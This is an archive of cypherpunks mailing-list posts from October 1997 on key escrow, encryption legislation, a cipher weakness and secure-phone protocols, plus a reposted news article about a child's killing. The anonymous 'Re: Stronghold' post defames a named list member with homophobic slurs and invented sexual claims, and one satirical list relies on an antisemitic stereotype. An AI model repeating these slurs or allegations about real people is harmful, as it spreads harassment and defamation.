Date: Sat, 4 Oct 1997 05:27:16 +0800
To: cypherpunks@toad.com
Subject: Re: C'Punk Action Project - Help the Newbie
In-Reply-To: <uNR8feSnPHwyNy2BHsILFQ==@bureau42.ml.org>
Message-ID: <199710032105.PAA07558@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



> Date:          Fri, 3 Oct 1997 16:18:53 GMT
> From:          Anonymous (via bureau42 remailer) <devnull@bureau42.ml.org>
> Subject:       C'Punk Action Project - Help the Newbie
> To:            cypherpunks@toad.com

> A Law Abiding Citizen wrote:
> > 
> > I'm new to encryption, having just purchased PGP. I want to abide by
> > the law, but I don't know who to send a copy of my secret key to.
> 
> We need to compile a list of people that law-abiding citizens can send
> copies of their secret keys.
> I will start the list with those that the LAC has already mentioned.
> Surely other C'punks will have their own nominees for this position
> of supreme trust.
> 
> 1. The FBI guy who shot Randy Weaver's wife.
> 2. The FBI guy, Kahoe, who ordered evidence of the FBI murder of
>    citizens destroyed.
> 3. One of the other four top FBI officials who helped with the
>    cover-up?
> 4. Your drug drug dealer, to pass along to his CIA connection.
> 5. A Jewish person, to give to the Mossad, to pass on to the CIA.
> 6. The NYC cop with the toilet plunger in his hand.
> 
7. How about the hit sqaud (from BATF, DEA, Border Patrol, Forest 
Service, etc [I'm not kidding]) who killed Donald Scott in Orange 
County because they wanted his primo land surround by national 
forest.  Crufted some excuse about pot on his land.  No pot, but
when they forcibly entered early in the morning and accosted his
wife, they shot him when he tried to protect her.  The local DA said
they lost their "moral compass".

 8. The military guys who killed the shepard in Texas.

9.  The police chief currently Wacoizing an elderly woman cuz
she refused to be hauled off (for psychiatric treatment) and 
sacrifice her land to the hungry wolves waiting to sell it off.

10. The wonderful people who organize the presidential debates
which denied the libertarian cadidate (on the ballot in all 50, 
before Perot) participation in the debates.  When libertarians 
peaceably assembled at the debate site they were cordoned off by SS 
in black ninja suits, MP5 submachine guns and german shepards.  Local 
police then descended on one of the libertarians taking pictures and 
beat him senseless, saying "we know what your up to!".  I guess he 
was trying to excercise his right to disagree with fascism.  
(personally witnessed this one and got it on hi-q video).  Little to 
no news coverage.

11. Any number of participants at Waco.

12. We could just go on and on....



Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Pierson" <wfgodot@advicom.net>
Date: Sat, 4 Oct 1997 05:49:26 +0800
To: cypherpunks@cyberpass.net
Subject: Freedom of Encryption: Is it SAFE?
Message-ID: <199710032138.QAA29873@vespucci.advicom.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

There has been much discussion recently concerning how to fix
certain flaws, or block various amendments in encryption
legislation being shepherded through Congress.  A far more
fundamental problem with these legislative efforts from the
beginning was that they involved an implicit concession to the
idea that a U.S. citizen's freedom to privately exchange
information in whatever coding scheme he or she might choose
required some kind of government affirmation or ratification as
validation.  Once one seeks for the government's deigning to
"affirm the rights of United States persons to use and sell
encryption", it can (and does) then easily proceed to attach
conditions and caveats to these "affirmed" rights.  In the
process the surveillance hawks within the government have
managed, with hardly any struggle, to advance the appearance of
legitimacy for their claims of authority to regulate this form of
expression. 

Now comes an expectation that the nature of these "affirmed
rights" should be tailored to address "the concerns of national
security and the federal law enforcement community."  This same
community has on occasion complained about how their efforts to 
fight organized crime and terrorism are being thwarted by not 
having the modern newspeak disguised equivalent of "Writs of 
Assistance" (and they are arguably making progress toward 
acquiring just such powers IMO).  Very few politicians are 
willing to commit the heresy of clearly and staunchly asserting 
that the information coding methods used by citizens are under 
no obligation to pass any litmus test, or to be subject to any 
kind of prior approval or restraint determined by criteria of 
the law enforcement establishment or anyone else.  If the Feds 
lament that this will make their job harder, too bad.  In the 
words of Orson Welles: "Only in a police state is the job of a 
policeman easy." 

When these various legislative efforts attempted to reach beyond
the issues of export restrictions to address those of domestic
use, they became a doubtful and dangerous fix to something that
wasn't broke in the first place.  If the Government is intent on
"abridging the freedom" to use strong encryption domestically, a
legislative affirmation of these rights is feeble comfort at
best.  If I'm seeking to protect my possessions, I don't ask a
thief to affirm my property rights. 

Of course, even the export question is really about the aims of
the state's surveillance constituency to obstruct the wide
deployment of strong encryption domestically, and its
interoperability on the internet as a whole.  Challenging the
derisible bogosity of the "preventing the Evil Ones from
acquiring this technology" rationale that is invoked to justify
these restrictions was not something legislation was likely to do
with any great vigor.  Legislation to "relax" these restrictions
involves lending credence to the dubious assumption that these
restrictions had any constitutional validity to begin with. 

Any bill that would have truly provided for the statutory
endorsement of the acceptably uncompromised use of strong
encryption never really had much more than a snowball's chance in
hell of actually being signed into law given the current
political balance of power, did it?  Far more likely, was that it
could be corrupted and hijacked as a vehicle to further the very
type of restrictions it was purportedly intended to relieve.  A
collateral consequence is an increased arrogance and presumption
among lawmakers that it is their prerogative to act to define for
us citizens, what freedoms for domestic use of encryption we
should be permitted.  The growing gallery of GAK amendments and
competing legislative proposals now emerging appears to support
this sad scenario. 

It's starting to look like the prospects for meaningfully
improving the situation with encryption legislation in the
current political environment were about as promising as the
prospects of a neophyte gambler coming out ahead at a crooked
casino.  I expect any apparent winnings in the end will come with
a catch between the lines in the fine print, if they come at all.
In any case, whatever is legislatively affirmed can later be
legislatively denied.  What a King presumes is his to grant, he
usually presumes is his to revoke as well. 

In the end, what will have really been gained by this legislative
venture, and what will have been explicitly or implicitly
surrendered?  As I see it, at this point the issue isn't about
counting wins, it's about cutting losses. 

Freedom of encryption.... Is it SAFE?  I don't think so. 


- -Michael 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBNDVks9GJlWF+GPx9AQGctwQAlE+SKB3/rqG7kz3qdcF2I5eBedz3/DDK
f5Vg0Zd8PbhowwT9gWAvyt+ysIZCqRJWMu3vPmWP2iN2ZghLaiGRVv8piXhyUQYl
rhv/rOz1Yc1raJbU5Wk+9Qr9zxQqxHZiAk1G0Irye4yDfi72ar8ndD5CqUegBnaF
QAoyFGtiJZ4=
=2zJO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 4 Oct 1997 04:03:34 +0800
To: cypherpunks@toad.com
Subject: Anne Wells Branscomb and other information
Message-ID: <v0300780ab05afaf7827e@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Anne Wells Branscomb has died. She was 68. A longtime communications and
computer lawyer, she significantly shaped the world of information and
Net-policy. (I met her once, at a Computers Freedom and Privacy
conference.) Her short biography is at: http://www.ngi.org/AWB/

On a different note, congratulations to:

* Solveig Singleton, the new director of information studies at the Cato
Institute.

* Bruce Schneier and EPIC's Dave Banisar, for their book released last
month, "The Electronic Privacy Papers."

* EPIC's Marc Rotenberg and Phil Agre, for their book released this month:
Technology and Privacy: The New Landscape, edited by Philip E. Agre and
Marc Rotenberg (Cambridge: MIT Press, 1997).

* Bob Palacios, former webmaster for the Center for Democracy and
Technology, who's moving on to a new job at a Rockville, MD software
company. (I understand CDT needs a new webmaster.)

Also, I hear the Competitive Enterprise Institute, a free-market thinktank
in Washington, DC, is looking for a full-time analyst to do Internet policy
work for them. Stuff like privacy, Net-regulation, free speech. Email me
for contact info.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous (via bureau42 remailer) <devnull@bureau42.ml.org>
Date: Sat, 4 Oct 1997 04:45:18 +0800
To: cypherpunks@toad.com
Subject: C'Punk Action Project - Help the Newbie
Message-ID: <uNR8feSnPHwyNy2BHsILFQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



A Law Abiding Citizen wrote:
> 
> I'm new to encryption, having just purchased PGP. I want to abide by
> the law, but I don't know who to send a copy of my secret key to.

We need to compile a list of people that law-abiding citizens can send
copies of their secret keys.
I will start the list with those that the LAC has already mentioned.
Surely other C'punks will have their own nominees for this position
of supreme trust.

1. The FBI guy who shot Randy Weaver's wife.
2. The FBI guy, Kahoe, who ordered evidence of the FBI murder of
   citizens destroyed.
3. One of the other four top FBI officials who helped with the
   cover-up?
4. Your drug drug dealer, to pass along to his CIA connection.
5. A Jewish person, to give to the Mossad, to pass on to the CIA.
6. The NYC cop with the toilet plunger in his hand.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 4 Oct 1997 04:45:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: legal question of DSA-based signatures?
Message-ID: <v031107e0b05b0494f712@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: kaye@popd.ix.netcom.com
Mime-Version: 1.0
Date:         Fri, 3 Oct 1997 12:18:36 -0700
Reply-To: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
Sender: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
From: Kaye Caldwell <kaye@IX.NETCOM.COM>
Subject:      Re: legal question of DSA-based signatures?
To: DIGSIG@VM.TEMPLE.EDU

The document to which this refers is posted at:
http://www.softwareIndustry.org/issues/docs-org/cg-opinion.pdf

At 01:23 PM 10/3/97 -0400, you wrote:
>I think I already know the answer to this, but it might be fun to have the
>word with the bark on it...
>
>If you reply to this, I'll pass it on to the cypherpunks list.
>
>Notice that the question comes through an anonymous remailer.
>
>Cheers,
>Bob Hettinga
>--- begin forwarded text
>
>
>Date: Fri, 3 Oct 1997 12:17:32 -0400
>From: Anonymous <anon@anon.efga.org>
>Comments: This message was remailed by a FREE automated
> remailing service. For additional information on this service,
> send a message with the subject "remailer-help" to
> remailer@anon.efga.org. The body of the message will be
> discarded. To report abuse, contact the operator at
> admin@anon.efga.org.  Headers below this point were
> inserted by the original sender.
>Subject: legal question of DSA-based signatures?
>To: cypherpunks@cyberpass.net
>Sender: owner-cypherpunks@cyberpass.net
>Precedence: bulk
>Reply-To: Anonymous <anon@anon.efga.org>
>X-Loop: cypherpunks@cyberpass.net
>
>I have before me a statement made by Information Security Corp.:
>
>"The Comptroller General has ruled that, for the purposes of electronic
>commerce, DSA-based digital signatures are as legally binding as hand-
>written signatures."
>
>Can anyone verify this?
>
>--- end forwarded text
>
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"... however it may deserve respect for its usefulness and antiquity,
>[predicting the end of the world] has not been found agreeable to
>experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
>The e$ Home Page: http://www.shipwright.com/
>Ask me about FC98 in Anguilla!: <http:www.fc98.ai>
>
>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http:www.fc98.ai>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Sat, 4 Oct 1997 07:52:34 +0800
To: jad@dsddhc.com
Subject: Re: Secure phone
In-Reply-To: <3.0.3.32.19971002155954.00bfc7e0@labg30>
Message-ID: <199710032326.QAA19691@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



>The MITM attack is thwarted by Lucky's note:
>>> DH and have the parties each read half of a hash of the public
>          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>> exponentials. No keys to store, no keys to remember, no keys to compromise.
>   ^^^^^^^^^^^^^
>
>Each party reads off a series of digits displayed on their screen.  Out
>loud.  To each other.  Over the secure phone.
>
>The MITM attacker can't duplicate the hash on both ends, because a hash of
>the public keys used to make the connection are different between the
>MITM's public key and the real public keys.

In addition, to keep life even more interesting, prior to exchanging
the public exponentials g^x and g^y, commitments (hashes) to those
values are exchanged...  If the commitments don't match the final
values, the protocol terminates.  See http://www.comsec.com/vp1-protocol.ps 
for all the details.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 4 Oct 1997 05:05:43 +0800
To: cypherpunks@toad.com
Subject: Note to cypherpunks in Chile
Message-ID: <v0300780db05b08029388@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Next week I'll be speaking at REUNA-InternetWorld'97 in Santiago, Chile,
staying at the Hotel Plaza San Francisco. I'd love to meet anyone who wants
an update on U.S. Net-politics (or vice versa).

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 4 Oct 1997 06:20:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
Message-ID: <ed27d264358016b98eb8830bc6b4b0cb@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 09:40 AM 10/3/97 -0700, Alan wrote:
>At 10:45 AM 10/2/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>
>>> Amazingly, C2Net doesn't like to see its product publicly slandered 
>>> by reptiles like Vulis.  If Vulis' opinion were based on anything
>>> other than personal ill will - ie, if he had ever actually downloaded
>>> and examined Stronghold and found any problems with it - he would have
>>> a leg to stand on.  As it is, his allegations are completely unfounded.
>>
>>If this were true, then C2Net would encourage me to publicly present whatever
>>"evidence" I have so they'd be able to refute it.  This is not what they
>>asked me to do.
>
>But it is what you *SHOULD* do.  If you have evidence, then present it.  If
>not, then you are just blowing smoke and FUD.

While it is true that Dmitri is a proven liar in the grand tradtion
of the Soviet Union (shout a lie long enough and loud enough and 
eventually some people will start to believe it), and a pathological
homophobic bigot (who secretly enjoys sucking cock but wears womens
clothing to disguise himself), he was absolutely right in decrying the
moderation experiment that was thrown at the list earlier.

Sandy did drop his C2 rantings from both moderated and flames lists,
because he considered them libelous.  That's a line of bullshit -- it
wasn't for him to decide libel or not.  It's for a jury to decide.
Sandy wouldn't have been held responsible in either case because he
could have hidden behind the "ISP protection" clause of the CDA.
As a moderator who was tasked with spreading the bullshit in one of
two places, he simply could have thrown it to either of the lists
and claimed it was his duty as moderator to put it out.

Of course, by that time Dmitri had so little reputation capital that
Gilmore patched Majordomo so it wouldn't even respect a subscription
request for him.

Dmitri's allegations shouldn't even have gone to the flames list -- 
they should have gone to the moderated list.  If Stronghold has a
weakness, or even a perceived weakness, it's crypto relevant.  But,
when Dmitri writes anything, he's got to attach a "cocksucker this"
or "molester that", which makes everything he writes libelous.  So,
even if he had proof that Lying Fuck Freeh were a axe-murderer, he'd
fuck it up and call him "Louis Freeh (cocksucker)", which would 
continue to throw his credibility down the toilet.

Ultimately, Dmitri's allegations of weaknesses in Stronghold, true or
not, are totally irrelevant.  Without mathematical proof of a weakness,
he simply cannot be believed to ever be telling the truth.  So, if
C2 said to him in private e-mail, "if you call Sameer a cocksucker one
more time, we'll slap a libel suit across your emigrant ass, take back
your green card, deport you and tell Russia that you called Yeltsin a
cocksucker," well, I can understand why he shut up.  

Actually, I don't think Dmitri knows of any real weaknesses.  As I
recall, I think he made up some fictitious homosexual connection 
between Sameer and a law-enforcement agent and suggested that there
was a "back door" in Stronghold (pun intended.)  Of course, I didn't
archive any of his spew from back then.  Nobody did, he raved so
long and loud at the moderation and Gilmore and everybody that it
was all my delete key could do to keep up with his shit.

So, don't hold your breath waiting for a repost of previous lies
from our dear Kook of the Fucking Century.  He might get caught,
so he's moved on to new lies now.

Cannonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Oct 1997 08:22:21 +0800
To: cypherpunks@toad.com
Subject: Re: C'Punk Action Project - Help the Newbie
In-Reply-To: <uNR8feSnPHwyNy2BHsILFQ==@bureau42.ml.org>
Message-ID: <Lcu1De1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous (via bureau42 remailer) <devnull@bureau42.ml.org> writes:
> 6. The NYC cop with the toilet plunger in his hand.

This would make a nice GAK icon... (Bloody) blunger in one hand,
keys or an oversized telephone received in the other.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 6 Oct 1997 13:35:38 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v031107c2b05ad34b4d70@[139.167.130.248]>
Message-ID: <v0300783bb05b667a5c6b@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:52 AM -0700 10/3/97, Robert Hettinga wrote:
>Comments?
>
>From: Martin Minow <minow@apple.com>
>"The new version also includes some of the most sophisticated techniques
>for enforcing this policy through the corporation. The most novel may be a
>new version of software controlling a company's SMTP server, the machine
>that acts as the central mailroom for a corporation. PGP provides a
>software agent that will read all of the mail to make sure that it complies
>with the corporate policy. This may include requiring all messages to be
>signed with digital signatures or include a backdoor that the management
>can use to read the message. If the software agent discovers a message
>violates the policy, it can either return it to sender or simply log a copy.

I wonder if it can handle the following:

(1) Encrypt real message (e.g. use PGP or Entrust).
(1a) Strip the headers.
(2) UUEncode the message.
(3) Encrypt the message with the corporate system including CAK.
(4) Send it thru the SMTP server.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0126.myriad.ml.org (Matthew Ghio)
Date: Sat, 4 Oct 1997 09:06:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Quor's cipher
In-Reply-To: <199710022135.WAA02655@notatla.demon.co.uk>
Message-ID: <199710040102.VAA21655@myriad>
MIME-Version: 1.0
Content-Type: text/plain



> Antonomasia <ant@notatla.demon.co.uk> wrote:
> 
> > My attack takes a long chunk of known text and looks for repetition.
> >
> > ppppppppppppppp.11.pppppppppppppppppppppp
> > ccccccccccccccc.22.cccccccccccccccccccccc
> >
> > When a two neighbouring p-c pairs are the same you can test
> > whether they have the same value of a and b.
> > (That is a_n == a_n+1 and b_n == b+n+1,   a != b usually.)
> >
> > This involves 16 inputs to each byte - very cheap.
> > What I really want next is to know "a".
> 
> 
> nobody@REPLAY.COM wrote:
> 
> > Wouldn't this only happen (on average) in one out of every 65536 p-c
> > pairs?
> 
> Yes (counting only those we test).
> 
> >         Since the state array is changed entirely with every 128 bytes
> > encrypted, 1 out of 2^16 doesn't seem to help much.
> 
> This finding doesn't uncover a great deal, I agree, and what it does
> uncover is transient.


What about this:

If (a+b)^(a0+b0) == 0, then the plaintext is the same as the ciphertext.
This happens for one out of every 256 bytes.  Ordinarilly this isn't a
problem, but if the key is reused, and there is no IV, it can leak a byte
of plaintext.

So it seems that you would need to change the key for each message, or at
least use a random initialization vector.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 4 Oct 1997 11:47:31 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710040400.XAA00040@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
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   Main banner Visit Regal at Buick.com rule
   
           REPORT: PARENTS SOUGHT TREATMENT FOR TEEN SLAYING SUSPECT
                                       
     The suspect's house October 3, 1997
     Web posted at: 4:18 a.m. EDT (0818 GMT)
     
     JACKSON TOWNSHIP, New Jersey (AP) -- Three days before 11-year-old
     Eddie Werner vanished while selling candy door-to-door, the parents
     of the teen accused of killing him reportedly asked a judge to lock
     up their son.
     
     The parents of the teen asked a Family Court judge on September 24
     to place him in a residential psychiatric treatment center in a bid
     to get his violent behavior under control, The Star-Ledger of Newark
     reported Friday.
     
     Instead, he was allowed to remain at home. Werner
     
     Last Saturday, Werner disappeared as he sold candy and wrapping
     paper for a school fund-raiser. His body was discovered Monday night
     in a wooded area between the neighborhoods where he and the suspect
     lived.
     
     Authorities have not released the name of the suspect because he is
     under 18.
     
     On Thursday, prosecutors said they believe the suspect was molested
     by a 43-year-old New York man who met him through an online chat
     room and arranged trysts.
     
     Monmouth County Prosecutor John Kaye said Stephen Simmons, 43, of
     Holbrook, New York, and the suspect met at New Jersey motels and at
     Simmons' home for sex several times over the past 13 months. Simmons
     
     
     The boy's parents learned of the meetings and informed police.
     Simmons, who has been charged with third-degree sodomy and could
     face other charges, was arrested on September 24 -- the same day the
     suspect's parents made their request of the judge.
     
     "These people had been crying out for help a week before the
     incident," the suspect's attorney, Michael Critchley, told The
     Star-Ledger. "Everybody should step back and pause a moment before
     they put this kid on a pyre and burn him."
     
     The teen-age suspect faces murder, aggravated sexual assault and
     robbery charges. Prosecutors were reviewing whether to have him
     tried as an adult. memorial
     
     Acquaintances described the suspect as a loner and a bully, but
     others said he was an average teen and a good student with an
     interest in computers. He built his own Web page, which he filled
     with biographical tidbits and exhaustive information about his
     favorite rock band, Smashing Pumpkins.
     
     He also explored other regions of the online world. Kaye said
     information found on a computer drive seized by prosecutors
     indicated the boy was visiting homosexual chat rooms, where he first
     met Simmons.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
   rule
   
  Related stories:
     * Violent offenses by teens plunged last year - October 2, 1997
     * Door-to-door school sales debated after boy's slaying - October 1,
       1997
       
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 4 Oct 1997 05:21:56 +0800
To: cypherpunks@cyberpass.net
Subject: Guilt
Message-ID: <199710032110.XAA00881@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Anonymous wrote:
>Alex Le Heux wrote:
>Anonymous <anon@anon.efga.org> wrote:
>>Let's also take a look at the Dutch performance during their 
>>occupation. While there certainly were many courageous Dutch people
>>who helped refugees (at great personal risk, to say the least), and
>>there were many courageous Dutch people who were in the resistance, 
>>there were also many Dutch people who did not perform so well. Not
>>only were a large number of Jewish people turned in by Dutch 
>>informers, but there were even Dutch SS units.
>
>You have a nerve. You, coming from a country where people are still
>regularly killed in the name of racism, tell me this?!
>Alex
>------------
>The Same Old Guy replied:
>
>Want the cold, hard facts of life, Bubba?
>You didn't put WWII 'behind' you. We did!
>Gun-loving Americans conquered your continent and gave you your
>countries back instead of enslaving you, like every other winner in
>history has done.
>
>*** Certified Low Blow ***
>Some of us discriminate against Jews. Do you know why? 
>Because we HAVE some!
>*** Certified Low Blow ***
>
>We were giving them refuge while Europe was massacring them by the
>millions. Now you have the balls to say we're not all treating them
>right all of the time.
>Buy a fucking clue!

Monty Cantsin is feeling a bit guilty about starting this.  While
there is some value in taking the smug Europeans down a few notches,
it is beginning to look as if some Americans need to be taken down a
few notches as well.

"The Secret War Against the Jews: How Western Espionage Betrayed the
Jewish People" by John Loftus and Mark Aarons.

Pages 49-50:
  "In 1943 the Holocaust was in full operation, but in April of that
year in Bermuda, a conference of British and American officials
formally decided that nothing should be done about it.  They 'ruled
out all plans for mass rescue.'  The British Foreign Office and the
U.S. State Department were both afraid that the Third Reich would be
quite willing, indeed eager, to stop the gas chambers, empty the
concentration camps, and let hundreds of thousands, if not millions,
of Jewish survivors emigrate to freedom in the West.  The Foreign
Office 'revealed in confidence' to the State Department its fear that
Hitler might permit a mass exodus.  If approaches to Germany to
release Jews were 'pressed too much that is exactly what might
happen.'[46]
  "The bigoted reality behind the Secret Report of the Easter 1943
Bermuda Conference was that not a single Allied nation wanted to let
teh Jews settle in its country.  The unspoken consensus was that it
was better to let Hitler handle them than arrange a mass evacuation to
the United States, England, or Canada.  In short, the Jews were
expendable to the war effort.[47] Only after the war was it confirmed
that a rescue operation to the Nazi concentration camps could have
been successful.  'Marshal of the RAF Sir Arthur `Bomber` Harris
declared afterwards that a rescue plan was `perfectly feasible, but I
was never asked to undertake it.`'[48]
  "No one campaigned to rescue the Jews because the leaders of the
Western nations had deliberately withheld the truth about the
Holocaust from their own citizens.  After verification by each of the
Allied intelligence services, the body counts of murdered Jews were
quietly classified as early as September 1941."

Pages 70-71:
  "Ibn Saud had no intention of ever letting a single Jew emigrate to
Palestine.  President Roosevelt discovered this for himself, but too
late.
  "In February 1945, just before he died, President Roosevelt
personally met Ibn Saud.  He attempted to enlist the king's support
for the Zionist solution, but Ibn Saud firmly rejected the idea,
instead suggesting that the Allies should give 'them and their
descendants the choicest lands and homes of the Germans who oppressed
them' or that the Allied countries take in the Jews themselves.[57]
  "The king's vehement opposition to Jewish migration was a bit of a
shock to Roosevelt, who was strongly sympathetic to the Zionist cause.
Yet none of the Western nations was ever prepared to take more than a
handful of Holocaust survivors.  As one book showed, the Canadian
policy was 'none is too many.'  The king seemed to recognize this, and
he reminded Roosevelt that Palestine had already taken 'its fair share
of refugees from Europe.'
  "Suddenly the president's sympathy for the Jews was wavering.  He
told Ibn Saud that 'he would do nothing to assist the Jews against the
Arabs and would make no move hostile to the Arab people.'  Roosevelt's
new policy was to be netural, but neutral in favor of the Arabs.[58]
It was an uncomfortable lesson for the ailing president.  The choice
seemed clear enough.  The United States could help the Jews found
their home in Palestine, or it could have Saudi Arabia's oil as the
engine room for postwar dominance.  It seemed to Roosevelt that could
not have both.  He chose oil."

Footnotes, Chapter 2:
[46] David Wyman, "The Abandonment of the Jews" (New York: Pantheon,
     1984), p. 342

[47] For accounts of the official policies of the various Allied
     governments, see Walter Laqueur, "The Terrible Secret" (London:
     Weidenfeld & Nicolson, 1981); and Martin Gilbert, "Auschwitz and
     the Allies" (London: Michael Joseph/Rainbird, 1981).

[48] Ricahrd Deacon, "The Israeli Secret Service" (London: Sphere,
     1979), p. 29.

Footnotes, Chapter 3:
[57] The king's ". . . firmness disconcerted Roosevelt, who seems to
     have believed a few hours' personal chitchat and some lavish
     Lend-Lease assistance would win the King of Arabia to his
     purpose.
         "The president tried another tack.  He was counting on the
     legendary hospitality of the Arab, he said, to help solve the
     problem of Zionism.  But [the king] did not see why the Arabs of
     Palestine should feel especially hospitable towards the Jews.
          "'Make the enemy and the oppressor pay,' he said; 'that is
     how we Arabs wage war.'
          "It was not the Arabs of Palestine who had massacred the
     Jews.  It was the Germans and, as 'a simple bedouin,' the Sa'udi
     king could not understand why the president seemed so eager to
     save Germany from the consequences of its crimes. . . ."  Kelly,
     "Arabia, the Gulf and the West" (New York: Basic Books, 1980),
     pp. 271-272.
   
[58] Returning to Washington, a chastened Roosevelt told Congress that
     "from Ibn Saud, of Arabia, I learned more of the whole problem of
     the Moslems and more about the Jewish people in 5 minutes than I could
     have learned by the exchange of a dozen letters." Ibid., p. 272.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerome Thorel <thorel@netpress.fr>
Date: Sat, 4 Oct 1997 05:21:52 +0800
To: cypherpunks@toad.com
Subject: D. DENNING's report
Message-ID: <v03007801b05b2051de0d@[194.51.213.140]>
MIME-Version: 1.0
Content-Type: text/enriched

 Hi folks,

Did you saw an onine version of the study by D. Denning & William E. Baugh, Jr., "ENCRYPTION AND EVOLVING TECHNOLOGIES AS TOOLS OF ORGANIZED CRIME AND TERRORISM". 

I've got the paper version, but am seeking an online one. 

Excerpt here:
http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html

If there is no digital version, I can scan it for the community.

PLEASE ANSWER ME PRIVATLY - am not a cypherpunk sub'




--> Jerome Thorel
lambda bulletin
Paris, France
www.freenix.fr/netizen <--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Oct 1997 13:34:56 +0800
To: cypherpunks@toad.com
Subject: Re: commercial remailers and anonymous customers
In-Reply-To: <3.0.3.32.19971003103708.0069ee68@popd.ix.netcom.com>
Message-ID: <0X91De7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

>
> >> When all your customers are anonymous, you don't get to be very choosy.
>
> Sameer's C2.Net used to be an ISP business, providing privacy services,
> and he found that enough of his anonymous customers were problem customers
> that it was a real pain to support.

Last October, Sammer was being sued for copyright infringement and he claimed
in court papers that he doesn't censor content on C2's ISP. Literally at the
same time he pulled the plug on a C2 account for publishing a Web page
critical of one of Sameer's associates. Here's Sameer's e-mail to that
account:

]From sameer Thu Oct 24 10: 34:59 1996
]Received: (from sameer@localhost) by blacklodge.c2.net (8.7.6/8.7.3) id
]KAA05716; Thu, 24 Oct 1996 10:34:58 -0700 (PDT)
]From: sameer <sameer@c2.net>
]Message-Id: <199610241734.KAA05716@blacklodge.c2.net>
]Subject: Re: www.c2.net/~netscum/mayt0.html
]To: netscum@c2.net
]Date: Thu, 24 Oct 1996 10:34:58 -0700 (PDT)
]Cc: sameer@c2.net
